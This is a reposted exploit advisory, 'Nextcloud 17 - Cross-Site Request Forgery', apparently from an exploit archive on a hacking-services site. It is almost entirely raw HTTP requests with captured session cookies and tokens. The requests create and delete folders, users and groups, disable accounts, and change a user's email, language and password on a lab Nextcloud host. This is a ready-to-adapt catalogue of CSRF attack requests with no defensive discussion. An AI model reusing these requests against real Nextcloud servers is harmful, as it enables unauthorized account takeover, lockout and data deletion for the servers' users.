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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Nextcloud 17 - Cross-Site Request Forgery
# Date: 08.11.2019
# Exploit Author: Ozer Goker
# Vendor Homepage: https://nextcloud.com
# Software Link: https://nextcloud.com/install/#instructions-server
# Version: 17
# CVE: N/A


#Nextcloud offers the industry-leading, on-premises content collaboration
platform.
#Our technology combines the convenience and ease of use of consumer-grade
solutions like Dropbox and Google Drive with the security, privacy and
control business #needs.

##################################################################################################################################

# CSRF1
# Create Folder

MKCOL /remote.php/dav/files/ogoker/test HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
requesttoken:
NBxrV688w2KBVFx/Q+X7LsYUMGKGrj5PFNLDVe5R0bo=:ZXkTEoBkskmuOhU0NN2iab9welrLxlUkZqePH70zg/M=
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM;
nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1


##################################################################################################################################

# CSRF2
# Delete Folder

DELETE /remote.php/dav/files/ogoker/test HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
requesttoken:
NBxrV688w2KBVFx/Q+X7LsYUMGKGrj5PFNLDVe5R0bo=:ZXkTEoBkskmuOhU0NN2iab9welrLxlUkZqePH70zg/M=
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM;
nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1


##################################################################################################################################

# CSRF3
# Create User

POST /ocs/v2.php/cloud/users HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
requesttoken:
qmO6/Dw6+bFv8FXRaFdzbhhzcVHZIGBHtg5riOIp4es=:+wbCuRNiiJpAnhyaH28qKWEXO2mUSAssxHsnwrFLs6I=
Content-Length: 129
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM;
nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1

{"userid":"test","password":"test1234","displayName":"","email":"","groups":[],"subadmin":[],"quota":"default","language":"en"}



##################################################################################################################################

# CSRF4
# Delete User

DELETE /ocs/v2.php/cloud/users/test HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
requesttoken:
qmO6/Dw6+bFv8FXRaFdzbhhzcVHZIGBHtg5riOIp4es=:+wbCuRNiiJpAnhyaH28qKWEXO2mUSAssxHsnwrFLs6I=
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM;
nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1


##################################################################################################################################

# CSRF5
# Disable User

PUT /ocs/v2.php/cloud/users/test/disable HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
requesttoken:
3uInmrIiv0aGraTESlGJCzqadH5giusD5iZ/GZwxxEQ=:j4df3516zm2pw+2PPWnQTEP+PkYt4oBolFMzU89Tlg0=
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM;
nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1
Content-Length: 0


##################################################################################################################################

# CSRF6
# Enable User

PUT /ocs/v2.php/cloud/users/test/enable HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
requesttoken:
3uInmrIiv0aGraTESlGJCzqadH5giusD5iZ/GZwxxEQ=:j4df3516zm2pw+2PPWnQTEP+PkYt4oBolFMzU89Tlg0=
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
nc_username=ogoker; nc_token=BnzwpedGNoSh8RqQEcU7yAbb6O%2FQReCM;
nc_session_id=6kkh1f4s3gu80pjk9iclagoqrp; redirect=1; testing=1
Content-Length: 0


##################################################################################################################################

# CSRF7
# Create Group

POST /ocs/v2.php/cloud/groups HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
requesttoken:
EjdL6QpK1LpIlTtWYWHqEa3p8UKwRqDbBraFa+WWRbE=:Q1IzrCUSpZFn+3IdFlmzVtSNu3r9LsuwdMPJIbb0F/g=
Content-Length: 18
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
redirect=1; testing=1

{"groupid":"test"}


##################################################################################################################################

# CSRF8
# Delete Group

DELETE /ocs/v2.php/cloud/groups/test HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
requesttoken:
EjdL6QpK1LpIlTtWYWHqEa3p8UKwRqDbBraFa+WWRbE=:Q1IzrCUSpZFn+3IdFlmzVtSNu3r9LsuwdMPJIbb0F/g=
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
redirect=1; testing=1


##################################################################################################################################

# CSRF9
# Change User Full Name


PUT /settings/users/ogoker/settings HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
requesttoken:
nvnWCslz6So+9VRA8Vg8043tt1pf1wL/ysi2ak1J6es=:z5yuT+YrmAERmx0LhmBllPSJ/WISv2mUuL36IB4ru6I=
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 266
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
redirect=1; testing=1

{"displayname":"Ozer
Goker","displaynameScope":"contacts","phone":"","phoneScope":"private","email":"","emailScope":"contacts","website":"","websiteScope":"private","twitter":"","twitterScope":"private","address":"","addressScope":"private","avatarScope":"contacts"}


##################################################################################################################################

# CSRF10
# Change User Email

PUT /settings/users/ogoker/settings HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
requesttoken:
I+6bC+nRvx4TyTudd4pzZrOucr8qlgwe0YE3v13+fOw=:covjTsaJzjU8p3LWALIqIcrKOIdn/md1o/R79Q6cLqU=
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 271
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
redirect=1; testing=1

{"displayname":"ogoker","displaynameScope":"contacts","phone":"","phoneScope":"private","email":"test@test
","emailScope":"contacts","website":"","websiteScope":"private","twitter":"","twitterScope":"private","address":"","addressScope":"private","avatarScope":"contacts"}


##################################################################################################################################

# CSRF11
# Change Language

PUT /ocs/v2.php/cloud/users/ogoker HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
requesttoken:
mRN2MXrwRQuE/fuQ5PNtyp4ulgYRocB99vbydSi8i+E=:yHYOdFWoNCCrk7Lbk8s0jedK3D5cyasWhIO+P3ve2ag=
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 21
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
redirect=1; testing=1

key=language&value=tr


##################################################################################################################################

# CSRF12
# Change User Password

POST /settings/personal/changepassword HTTP/1.1
Host: 192.168.2.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
requesttoken:
0OhP82O7tEe/0gbwiEPrkFfuU9StyaiXNi0yqg02wT4=:gY03tkzjxWyQvE+7/3uy1y6KGezgocP8RFh+4F5Uk3c=
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 70
Connection: close
Cookie: oc5a107a3xcz=6kkh1f4s3gu80pjk9iclagoqrp;
oc_sessionPassphrase=W7gmobO%2FJ1ZdAmc4H7seQQvMpT%2BEwXBqNdYdwbq%2BE5P69EgB8188UUBBtMpcb6qmdLVr6t6iqzJ%2F%2F%2FqhDkt86%2FZg%2BSpjkyB9dO2qVLxXpVEZyBtJUj9TQfA6jrXqCA9t;
__Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true;
redirect=1; testing=1

oldpassword=abcd1234&newpassword=12345678&newpassword-clone=12345678


##################################################################################################################################